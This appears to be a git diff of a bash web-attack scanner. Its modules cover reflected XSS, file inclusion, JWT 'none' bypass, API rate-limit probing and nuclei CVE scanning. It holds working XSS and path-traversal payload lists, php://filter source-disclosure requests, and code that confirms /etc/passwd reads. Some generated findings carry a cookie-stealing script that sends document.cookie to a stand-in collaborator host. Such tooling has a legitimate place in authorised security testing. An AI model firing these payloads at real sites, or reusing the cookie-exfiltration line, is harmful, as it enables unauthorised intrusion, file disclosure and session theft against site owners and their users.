'"><script>alert(1)</script>'
|
||||||
"<img src=x onerror=alert(1)>"
|
'"><img src=x onerror=alert(1)>'
|
||||||
"';alert(1);//"
|
'"><svg onload=alert(1)>'
|
||||||
"\"><img src=x onerror=alert(1)>"
|
'"><input autofocus onfocus=alert(1)>'
|
||||||
"<svg onload=alert(1)>"
|
'"><body onload=alert(1)>'
|
||||||
"<input autofocus onfocus=alert(1)>"
|
'"><details open ontoggle=alert(1)>'
|
||||||
"<body onload=alert(1)>"
|
"'-alert(1)-'"
|
||||||
|
"\"-alert(1)-\""
|
||||||
|
"{{constructor.constructor('alert(1)')()}}"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Test URL parameters
|
# Context-specific encoding
|
||||||
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5)
|
local encoded_payloads=(
|
||||||
|
'\%22\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E'
|
||||||
|
'\%27\%3Balert(1)\%3B\%27'
|
||||||
|
)
|
||||||
|
|
||||||
if [ -z "$url_params" ]; then
|
local tested=0
|
||||||
# Test query parameter
|
|
||||||
for payload in "${xss_payloads[@]}"; do
|
|
||||||
local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
|
||||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
||||||
|
|
||||||
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
# --- Test URL params ---
|
||||||
print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target"
|
if [ -n "$urls" ]; then
|
||||||
echo "SEVERITY: HIGH
|
print_sub "Testing URL parameters..."
|
||||||
VECTOR: Cross-Site Scripting (Reflected)
|
|
||||||
DETAIL: Reflected XSS confirmed with payload: $payload
|
# Get unique parameter names
|
||||||
EVIDENCE: Payload echoed back in response
|
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u)
|
||||||
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt"
|
|
||||||
findings=$((findings + 1))
|
if [ -z "$param_names" ]; then
|
||||||
break
|
# No URL params found, test common ones
|
||||||
fi
|
param_names="q search s query id page term keyword input"
|
||||||
done
|
fi
|
||||||
else
|
|
||||||
# Test each parameter
|
for param in $param_names; do
|
||||||
for param in $url_params; do
|
|
||||||
for payload in "${xss_payloads[@]}"; do
|
for payload in "${xss_payloads[@]}"; do
|
||||||
|
tested=$((tested + 1))
|
||||||
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
||||||
local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/")
|
local test_url="${target}?${param}=${encoded}"
|
||||||
|
|
||||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
local response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null)
|
||||||
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
|
||||||
print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..."
|
# Confirm: payload appears in response UNESCAPED
|
||||||
|
local clean_payload=$(echo "$payload" | sed 's/["\]//g' | sed 's/.*alert/alert/' | sed 's/)>.*/>/')
|
||||||
|
if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
|
||||||
|
print_find "Confirmed XSS in param '$param'!" "Payload reflected unescaped"
|
||||||
echo "SEVERITY: HIGH
|
echo "SEVERITY: HIGH
|
||||||
VECTOR: Cross-Site Scripting (Reflected)
|
VECTOR: Cross-Site Scripting (Reflected)
|
||||||
DETAIL: Reflected XSS in parameter '$param' on $target
|
DETAIL: Confirmed XSS in URL parameter '$param' on $target
|
||||||
EVIDENCE: Payload reflected in response
|
EVIDENCE: Payload rendered in page response
|
||||||
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt"
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_xss-reflected.txt"
|
||||||
findings=$((findings + 1))
|
findings=$((findings + 1))
|
||||||
break 2
|
break 2
|
||||||
fi
|
fi
|
||||||
@@ -65,11 +75,57 @@ EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</sc
|
|||||||
done
|
done
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Check for DOM XSS indicators
|
# --- Test form inputs ---
|
||||||
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
if [ -n "$forms" ]; then
|
||||||
if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then
|
print_sub "Testing form inputs..."
|
||||||
print_warn "Potential DOM XSS sinks detected in page source"
|
|
||||||
print_info "Manual review recommended for DOM-based XSS"
|
while IFS= read -r form; do
|
||||||
|
[ -z "$form" ] && continue
|
||||||
|
|
||||||
|
local form_method=$(echo "$form" | cut -d'|' -f2)
|
||||||
|
local form_action=$(echo "$form" | cut -d'|' -f3)
|
||||||
|
local form_params=$(echo "$form" | cut -d'|' -f4-)
|
||||||
|
|
||||||
|
# Make absolute URL
|
||||||
|
if [[ "$form_action" == /* ]]; then
|
||||||
|
form_action="${base}${form_action}"
|
||||||
|
elif [[ "$form_action" != http* ]]; then
|
||||||
|
form_action="${base}/${form_action}"
|
||||||
|
fi
|
||||||
|
[ -z "$form_action" ] && form_action="$target"
|
||||||
|
|
||||||
|
for param in $form_params; do
|
||||||
|
for payload in "${xss_payloads[@]}"; do
|
||||||
|
tested=$((tested + 1))
|
||||||
|
|
||||||
|
local response=""
|
||||||
|
if [ "$form_method" = "post" ]; then
|
||||||
|
response=$(curl -s --connect-timeout 7 --max-time 12 \
|
||||||
|
-X POST -d "$param=$payload" "$form_action" 2>/dev/null)
|
||||||
|
else
|
||||||
|
local sep="?"
|
||||||
|
[[ "$form_action" == *\?* ]] && sep="&"
|
||||||
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
||||||
|
response=$(curl -s --connect-timeout 7 --max-time 12 "${form_action}${sep}${param}=${encoded}" 2>/dev/null)
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "<script"; then
|
||||||
|
print_find "Confirmed XSS in form param '$param'!" "Payload reflected unescaped on $form_action"
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: Cross-Site Scripting (Form-based)
|
||||||
|
DETAIL: Confirmed XSS in form parameter '$param' on $form_action
|
||||||
|
EVIDENCE: Script payload reflected in response
|
||||||
|
EXPLOIT: <script>fetch('https://COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-form.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 3
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
done <<< "$forms"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$findings" -eq 0 ]; then
|
||||||
|
print_ok "No XSS confirmed (tested $tested payloads on $([ -n \"$forms\" ] && echo \"forms+\")\" URLs\")"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
return $findings
|
return $findings
|
||||||
|
|||||||
@@ -1,69 +1,134 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# Vector 03: Local/Remote File Inclusion
|
# Vector 03: LFI v2 — Real File Read
|
||||||
# Desc: LFI/RFI via file parameters, path traversal
|
# Desc: Finds file params, tests traversal, confirms by reading /etc/passwd
|
||||||
# Detect: file=, page=, include=, template=, load= parameters
|
# Detect: file=, page=, include=, template=, load=, doc= parameters
|
||||||
# Severity: CRITICAL
|
# Severity: CRITICAL
|
||||||
# Tools: curl
|
|
||||||
|
|
||||||
vector_lfi() {
|
vector_lfi_v2() {
|
||||||
local target="$1"
|
local target="$1"
|
||||||
local report="$2"
|
local report="$2"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local base=$(get_base "$target")
|
||||||
local findings=0
|
local findings=0
|
||||||
|
|
||||||
print_info "Testing File Inclusion (LFI/RFI) vectors..."
|
print_info "Hunting LFI..."
|
||||||
|
|
||||||
local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content")
|
# Common file parameters
|
||||||
local lfi_payloads=(
|
local file_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content" "inc" "pg" "pdf" "doc" "attachment" "read" "include_file" "include_path")
|
||||||
|
|
||||||
|
# Traversal payloads — confirmed by reading /etc/passwd content
|
||||||
|
local payloads=(
|
||||||
"/etc/passwd"
|
"/etc/passwd"
|
||||||
"../../../../etc/passwd"
|
"../../../../../../etc/passwd"
|
||||||
"../../../../windows/win.ini"
|
"../../../../../../../etc/passwd"
|
||||||
"/proc/self/environ"
|
"....//....//....//....//etc/passwd"
|
||||||
"../../../../etc/hosts"
|
"..%2f..%2f..%2f..%2fetc%2fpasswd"
|
||||||
|
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64"
|
||||||
|
"..\\..\\..\\..\\..\\windows\\win.ini"
|
||||||
"php://filter/convert.base64-encode/resource=index"
|
"php://filter/convert.base64-encode/resource=index"
|
||||||
"php://filter/convert.base64-encode/resource=config"
|
"php://filter/convert.base64-encode/resource=config"
|
||||||
"/etc/nginx/nginx.conf"
|
"php://filter/convert.base64-encode/resource=../../../../etc/passwd"
|
||||||
"../../../../etc/shadow"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
# Try common LFI parameters
|
# Passwd confirmation pattern — if we see this, we've READ the file
|
||||||
for param in "${lfi_params[@]}"; do
|
local PASSWD_PATTERN="root:.*:0:0:"
|
||||||
for payload in "${lfi_payloads[@]}"; do
|
|
||||||
local test_url=""
|
|
||||||
if [[ "$target" == *\?* ]]; then
|
|
||||||
test_url="${target}&${param}=${payload}"
|
|
||||||
else
|
|
||||||
test_url="${target}?${param}=${payload}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
local tested=0
|
||||||
|
|
||||||
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then
|
# Get URL params from discovery
|
||||||
print_find "LFI confirmed!" "File read via parameter $param with payload: $payload"
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||||
echo "SEVERITY: CRITICAL
|
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
||||||
VECTOR: Local File Inclusion (LFI)
|
|
||||||
DETAIL: LFI via parameter '$param' on $target
|
|
||||||
EVIDENCE: System files readable
|
|
||||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
|
|
||||||
findings=$((findings + 1))
|
|
||||||
break 2
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Check for PHP filter base64
|
# If no params found, try common file params
|
||||||
if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then
|
if [ -z "$param_names" ]; then
|
||||||
local decoded=$(echo "$response" | base64 -d 2>/dev/null)
|
print_sub "No params found. Probing common file parameters..."
|
||||||
if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then
|
for param in "${file_params[@]}"; do
|
||||||
print_find "LFI with PHP filter!" "Source code disclosure via php://filter"
|
for payload in "${payloads[@]}"; do
|
||||||
|
tested=$((tested + 1))
|
||||||
|
local test_url="${target}?${param}=${payload}"
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qE "$PASSWD_PATTERN"; then
|
||||||
|
print_find "LFI confirmed! Read /etc/passwd via $param" "Payload: $payload"
|
||||||
echo "SEVERITY: CRITICAL
|
echo "SEVERITY: CRITICAL
|
||||||
VECTOR: LFI via PHP Filter
|
VECTOR: Local File Inclusion
|
||||||
DETAIL: PHP source code disclosure via php://filter on $target
|
DETAIL: Confirmed LFI on $target via parameter '$param'
|
||||||
EVIDENCE: Base64 encoded source retrieved and decoded
|
EVIDENCE: Successfully read /etc/passwd: $(echo "$response" | grep "root:" | head -1)
|
||||||
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
|
||||||
findings=$((findings + 1))
|
findings=$((findings + 1))
|
||||||
break 2
|
break 2
|
||||||
fi
|
fi
|
||||||
fi
|
|
||||||
|
# Check PHP filter (base64 encoded source)
|
||||||
|
if echo "$payload" | grep -q "php://filter"; then
|
||||||
|
local clean=$(echo "$response" | tr -d '\n\r' | grep -oP '^[A-Za-z0-9+/=]{50,}' | head -1)
|
||||||
|
if [ -n "$clean" ] && [ ${#clean} -gt 50 ]; then
|
||||||
|
local decoded=$(echo "$clean" | base64 -d 2>/dev/null)
|
||||||
|
if echo "$decoded" | grep -qiE "<?php|function|class|config|DB_HOST|password"; then
|
||||||
|
print_find "PHP filter LFI! Source code leaked via $param" ""
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: LFI via PHP Filter
|
||||||
|
DETAIL: PHP source code disclosure on $target via php://filter on '$param'
|
||||||
|
EVIDENCE: Source code retrieved and decoded
|
||||||
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
done
|
done
|
||||||
done
|
else
|
||||||
|
# Test discovered params
|
||||||
|
print_sub "Testing discovered parameters..."
|
||||||
|
for param in $param_names; do
|
||||||
|
for payload in "${payloads[@]}"; do
|
||||||
|
tested=$((tested + 1))
|
||||||
|
local test_url="${target}?${param}=${payload}"
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qE "$PASSWD_PATTERN"; then
|
||||||
|
print_find "LFI confirmed via param '$param'!" "Read /etc/passwd"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Local File Inclusion
|
||||||
|
DETAIL: Confirmed LFI on $target via parameter '$param'
|
||||||
|
EVIDENCE: Successfully read /etc/passwd
|
||||||
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-confirmed.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
# If no LFI found on existing params, try appending file params
|
||||||
|
if [ "$findings" -eq 0 ]; then
|
||||||
|
print_sub "No LFI on discovered params. Probing common file parameters..."
|
||||||
|
for param in "${file_params[@]}"; do
|
||||||
|
for payload in "${payloads[@]}"; do
|
||||||
|
tested=$((tested + 1))
|
||||||
|
local test_url="${target}?${param}=${payload}"
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
if echo "$response" | grep -qE "$PASSWD_PATTERN"; then
|
||||||
|
print_find "LFI confirmed via $param!" "Read /etc/passwd"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Local File Inclusion
|
||||||
|
DETAIL: Confirmed LFI on $target via parameter '$param'
|
||||||
|
EVIDENCE: Successfully read /etc/passwd
|
||||||
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-probe.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$findings" -eq 0 ]; then
|
||||||
|
print_ok "No LFI confirmed (tested $tested combos)"
|
||||||
|
fi
|
||||||
|
|
||||||
return $findings
|
return $findings
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
1|#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
2|# Vector 12: JWT Attacks
|
# Vector 12: JWT Attacks
|
||||||
3|# Desc: JWT token manipulation (none alg, weak keys, etc.)
|
# Desc: JWT token manipulation (none alg, weak keys, etc.)
|
||||||
4|# Detect: JWT tokens in cookies, headers, or params
|
# Detect: JWT tokens in cookies, headers, or params
|
||||||
5|# Severity: HIGH
|
# Severity: HIGH
|
||||||
6|# Tools: curl, jq
|
# Tools: curl, jq
|
||||||
7|
|
|
||||||
8|vector_jwt() {
|
vector_jwt() {
|
||||||
local target="$1"
|
local target="$1"
|
||||||
local report="$2"
|
local report="$2"
|
||||||
local findings=0
|
local findings=0
|
||||||
@@ -46,23 +46,22 @@
|
|||||||
if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then
|
if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then
|
||||||
print_find "JWT 'none' algorithm bypass!" "Token accepted without signature"
|
print_find "JWT 'none' algorithm bypass!" "Token accepted without signature"
|
||||||
echo "SEVERITY: CRITICAL
|
echo "SEVERITY: CRITICAL
|
||||||
49|VECTOR: JWT Algorithm Confusion (none)
|
VECTOR: JWT Algorithm Confusion (none)
|
||||||
50|DETAIL: Server accepts 'alg:none' JWT token on $target
|
DETAIL: Server accepts 'alg:none' JWT token on $target
|
||||||
51|EVIDENCE: Token with 'none' alg accepted by server
|
EVIDENCE: Token with 'none' alg accepted by server
|
||||||
52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
|
EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
|
||||||
findings=$((findings + 1))
|
findings=$((findings + 1))
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Save JWT info for report
|
# Save JWT info for report
|
||||||
echo "SEVERITY: INFO
|
echo "SEVERITY: INFO
|
||||||
58|VECTOR: JWT Token Discovery
|
VECTOR: JWT Token Discovery
|
||||||
59|DETAIL: JWT token found on $target
|
DETAIL: JWT token found on $target
|
||||||
60|EVIDENCE: Token: ${jwt:0:80}...
|
EVIDENCE: Token: ${jwt:0:80}...
|
||||||
61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
|
EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
|
||||||
else
|
else
|
||||||
print_skip "No JWT tokens found"
|
print_skip "No JWT tokens found"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
return $findings
|
return $findings
|
||||||
67|}
|
}
|
||||||
68|
|
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
1|#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
2|# Vector 14: API Abuse & Security Testing
|
# Vector 14: API Abuse & Security Testing
|
||||||
3|# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution
|
# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution
|
||||||
4|# Detect: API endpoints /api/, /v1/, /rest
|
# Detect: API endpoints /api/, /v1/, /rest
|
||||||
5|# Severity: HIGH
|
# Severity: HIGH
|
||||||
6|# Tools: curl
|
# Tools: curl
|
||||||
7|
|
|
||||||
8|vector_apiab() {
|
vector_apiab() {
|
||||||
local target="$1"
|
local target="$1"
|
||||||
local report="$2"
|
local report="$2"
|
||||||
local findings=0
|
local findings=0
|
||||||
@@ -54,14 +54,13 @@
|
|||||||
if [ "$rate_check" -eq 0 ]; then
|
if [ "$rate_check" -eq 0 ]; then
|
||||||
print_warn "No rate limiting detected on $endpoint"
|
print_warn "No rate limiting detected on $endpoint"
|
||||||
echo "SEVERITY: MEDIUM
|
echo "SEVERITY: MEDIUM
|
||||||
57|VECTOR: Missing Rate Limiting
|
VECTOR: Missing Rate Limiting
|
||||||
58|DETAIL: No rate limiting on $endpoint
|
DETAIL: No rate limiting on $endpoint
|
||||||
59|EVIDENCE: 10 rapid requests without 429/503 response
|
EVIDENCE: 10 rapid requests without 429/503 response
|
||||||
60|EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt"
|
EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt"
|
||||||
findings=$((findings + 1))
|
findings=$((findings + 1))
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
return $findings
|
return $findings
|
||||||
66|}
|
}
|
||||||
67|
|
|
||||||
|
|||||||
106
vectors/21-nuclei.sh
Normal file
106
vectors/21-nuclei.sh
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 21: Nuclei — Real CVE Detection
|
||||||
|
# Desc: Runs nuclei templates against discovered endpoints to find real CVEs
|
||||||
|
# Detect: Any target with reachable endpoints
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: nuclei
|
||||||
|
|
||||||
|
vector_nuclei() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Running Nuclei — real CVE detection..."
|
||||||
|
|
||||||
|
if ! command -v nuclei &>/dev/null; then
|
||||||
|
print_skip "nuclei not installed. Skipping CVE scanning."
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check nuclei templates exist
|
||||||
|
if [ ! -d "$HOME/nuclei-templates" ] && [ ! -d "/root/nuclei-templates" ]; then
|
||||||
|
print_warn "Nuclei templates not found. Updating..."
|
||||||
|
nuclei -update-templates 2>/dev/null | tail -1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Nuclei output file
|
||||||
|
local nuclei_out="$REPORTS_DIR/.${domain}_nuclei.json"
|
||||||
|
|
||||||
|
print_sub "Scanning with nuclei (severity: critical, high, medium)..."
|
||||||
|
print_info "This may take 1-3 minutes..."
|
||||||
|
|
||||||
|
# Run nuclei with focused templates
|
||||||
|
nuclei -u "$target" \
|
||||||
|
-severity critical,high,medium \
|
||||||
|
-json \
|
||||||
|
-o "$nuclei_out" \
|
||||||
|
-rate-limit 50 \
|
||||||
|
-concurrency 10 \
|
||||||
|
-timeout 8 \
|
||||||
|
-retries 1 \
|
||||||
|
-silent 2>/dev/null &
|
||||||
|
|
||||||
|
local nuclei_pid=$!
|
||||||
|
|
||||||
|
# Show spinner while waiting
|
||||||
|
local waited=0
|
||||||
|
while kill -0 $nuclei_pid 2>/dev/null; do
|
||||||
|
sleep 2
|
||||||
|
waited=$((waited + 2))
|
||||||
|
if [ $waited -ge 120 ]; then
|
||||||
|
print_warn "Nuclei timeout (2min), killing..."
|
||||||
|
kill $nuclei_pid 2>/dev/null
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
wait $nuclei_pid 2>/dev/null
|
||||||
|
|
||||||
|
# Parse results
|
||||||
|
if [ -f "$nuclei_out" ] && [ -s "$nuclei_out" ]; then
|
||||||
|
local vuln_count=$(wc -l < "$nuclei_out" | tr -d ' ')
|
||||||
|
|
||||||
|
if [ "$vuln_count" -gt 0 ]; then
|
||||||
|
print_find "Nuclei found $vuln_count vulnerabilities!"
|
||||||
|
|
||||||
|
while IFS= read -r line; do
|
||||||
|
[ -z "$line" ] && continue
|
||||||
|
|
||||||
|
local template=$(echo "$line" | jq -r '.templateID // "unknown"' 2>/dev/null)
|
||||||
|
local name=$(echo "$line" | jq -r '.info.name // "Unknown"' 2>/dev/null)
|
||||||
|
local severity=$(echo "$line" | jq -r '.info.severity // "unknown"' 2>/dev/null)
|
||||||
|
local matched=$(echo "$line" | jq -r '.matched // ""' 2>/dev/null)
|
||||||
|
local curl_cmd=$(echo "$line" | jq -r '.curl-command // ""' 2>/dev/null)
|
||||||
|
local extract=$(echo "$line" | jq -r '.extracted-results // [] | join(", ")' 2>/dev/null)
|
||||||
|
|
||||||
|
local sev_upper=$(echo "$severity" | tr '[:lower:]' '[:upper:]')
|
||||||
|
|
||||||
|
# Save finding
|
||||||
|
echo "SEVERITY: $sev_upper
|
||||||
|
VECTOR: Nuclei - $template
|
||||||
|
DETAIL: $name on $matched
|
||||||
|
EVIDENCE: $extract
|
||||||
|
EXPLOIT: $curl_cmd" > "$REPORTS_DIR/.finding_$(date +%s)_nuclei-${template}.txt"
|
||||||
|
|
||||||
|
findings=$((findings + 1))
|
||||||
|
|
||||||
|
# Print to screen
|
||||||
|
case "$severity" in
|
||||||
|
critical) echo -e " ${BRIGHT_RED}🔴 [CRITICAL]${NC} $name" ;;
|
||||||
|
high) echo -e " ${RED}🟠 [HIGH]${NC} $name" ;;
|
||||||
|
medium) echo -e " ${YELLOW}🟡 [MEDIUM]${NC} $name" ;;
|
||||||
|
*) echo -e " ${BLUE}🔵 [$severity]${NC} $name" ;;
|
||||||
|
esac
|
||||||
|
[ -n "$matched" ] && echo -e " ${DIM} $matched${NC}"
|
||||||
|
|
||||||
|
done < "$nuclei_out"
|
||||||
|
else
|
||||||
|
print_ok "Nuclei found no vulnerabilities"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_ok "Nuclei found no vulnerabilities"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user